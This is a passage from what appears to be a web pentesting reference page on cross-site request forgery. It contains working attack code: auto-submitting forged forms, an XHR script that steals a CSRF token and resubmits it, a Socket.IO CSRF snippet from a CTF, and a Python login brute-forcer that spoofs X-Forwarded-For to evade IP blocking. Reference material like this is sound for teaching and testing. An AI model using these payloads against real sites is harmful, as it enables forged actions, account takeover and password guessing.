773 <iframe id="frame2" name="frame2" 774 sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation" 775 height="600" width="800"></iframe> 776 <body onload="document.forms[0].submit()"> 777 <form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data"> 778 <input type="text" name="username" value="z"> 779 <input type="checkbox" name="status" checked=""> 780 <input id="token" type="hidden" name="token" value="0000" /> 781 <button type="submit">Submit</button> 782 </form> 783 ``` 784 785 ### **POSTSteal CSRF token with Ajax and send a post with a form** 786 787 ```html 788 <body onload="getData()"> 789 <form 790 id="form" 791 action="http://google.com?param=VALUE" 792 method="POST" 793 enctype="multipart/form-data"> 794 <input type="hidden" name="username" value="root" /> 795 <input type="hidden" name="status" value="on" /> 796 <input type="hidden" id="findtoken" name="token" value="" /> 797 <input type="submit" value="valider" /> 798 </form> 799 800 <script> 801 var x = new XMLHttpRequest() 802 function getData() { 803 x.withCredentials = true 804 x.open("GET", "http://google.com?param=VALUE", true) 805 x.send(null) 806 } 807 x.onreadystatechange = function () { 808 if (x.readyState == XMLHttpRequest.DONE) { 809 var token = x.responseText.match(/name="token" value="(.+)"/)[1] 810 document.getElementById("findtoken").value = token 811 document.getElementById("form").submit() 812 } 813 } 814 </script> 815 </body> 816 ``` 817 818 ### CSRF with Socket.IO 819 820 ```html 821 <script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script> 822 <script> 823 let socket = io("http://six.jh2i.com:50022/test") 824 825 const username = "admin" 826 827 socket.on("connect", () => { 828 console.log("connected!") 829 socket.emit("join", { 830 room: username, 831 }) 832 socket.emit("my_room_event", { 833 data: "!flag", 834 room: username, 835 }) 836 }) 837 </script> 838 ``` 839 840 ## CSRF Login Brute Force 841 842 The code can be used to brute-force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting): 843 844 ```python 845 import request 846 import re 847 import random 848 849 URL = "http://10.10.10.191/admin/" 850 PROXY = { "http": "127.0.0.1:8080"} 851 SESSION_COOKIE_NAME = "BLUDIT-KEY" 852 USER = "fergus" 853 PASS_LIST="./words" 854 855 def init_session(): 856 #Return CSRF + Session (cookie) 857 r = requests.get(URL) 858 csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) 859 csrf = csrf.group(1) 860 session_cookie = r.cookies.get(SESSION_COOKIE_NAME) 861 return csrf, session_cookie 862 863 def login(user, password): 864 print(f"{user}:{password}") 865 csrf, cookie = init_session() 866 cookies = {SESSION_COOKIE_NAME: cookie} 867 data = { 868 "tokenCSRF": csrf, 869 "username": user, 870 "password": password, 871 "save": "" 872 } 873 headers = { 874 "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" 875 } 876 r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) 877 if "Username or password incorrect" in r.text: 878 return False 879 else: 880 print(f"FOUND {user} : {password}") 881 return True 882 883 with open(PASS_LIST, "r") as f: 884 for line in f: 885 login(USER, line.strip()) 886 ``` 887 888 ## Tools <a href="#tools" id="tools"></a> 889 890 Use purpose-built tooling and hands-on labs to validate PoCs without losing browser-specific behavior.<sup>[[13]](#references)</sup> 891 892 - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) 893 - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) 894 - [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp) 895 - [https://github.com/doyensec/eval-villain](https://github.com/doyensec/eval-villain) - Useful to instrument `fetch` / XHR sinks while hunting CSPT2CSRF in SPAs. 896 - [https://github.com/doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - Useful to correlate client-controlled sources with later request-path sinks. 897 898 ## References 899 900 - [1] [PortSwigger Web Security Academy: Cross-site request forgery (CSRF)](https://portswigger.net/web-security/csrf) 901 - [2] [PortSwigger Web Security Academy: Bypassing CSRF token validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) 902 - [3] [PortSwigger Web Security Academy: Bypassing referer-based CSRF defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) 903 - [4] [Bypass Referer Check Logic for CSRF](https://www.hahwul.com/blog/2019/bypass-referer-check-logic-for-csrf/) 904 - [5] [VTENEXT 25.02 – A Three-Way Path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) 905 - [6] [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities) 906 - [7] [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf) 907 - [8] [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) 908 - [9] [Google CTF 2023 - web-vegsoda solution writeup](https://github.com/google/google-ctf/tree/main/2023/quals/web-vegsoda/solution) 909 - [10] [Doyensec: Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) 910 - [11] [Doyensec: Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) 911 - [12] [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery) 912 - [13] [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/) 913 - [14] [brycec - corCTF 2021 challenges writeup](https://brycec.me/posts/corctf_2021_challenges) 914 - [15] [anonymousyogi - JSON CSRF: CSRF that none talks about](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) 915 - [16] [MDN - HTTP - CORS: Simple Requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) 916 - [17] [NASA-AMMOS AIT-GUI security advisory GHSA-p9r8-2q67-fp86](https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-p9r8-2q67-fp86) 917 - [18] [Cycode - Unauthenticated command execution in AIT-GUI](https://cycode.com/blog/ait-gui-unauthenticated-command-execution/) 918 - [19] [Chrome for Developers - New permission prompt for Local Network Access](https://developer.chrome.com/blog/local-network-access)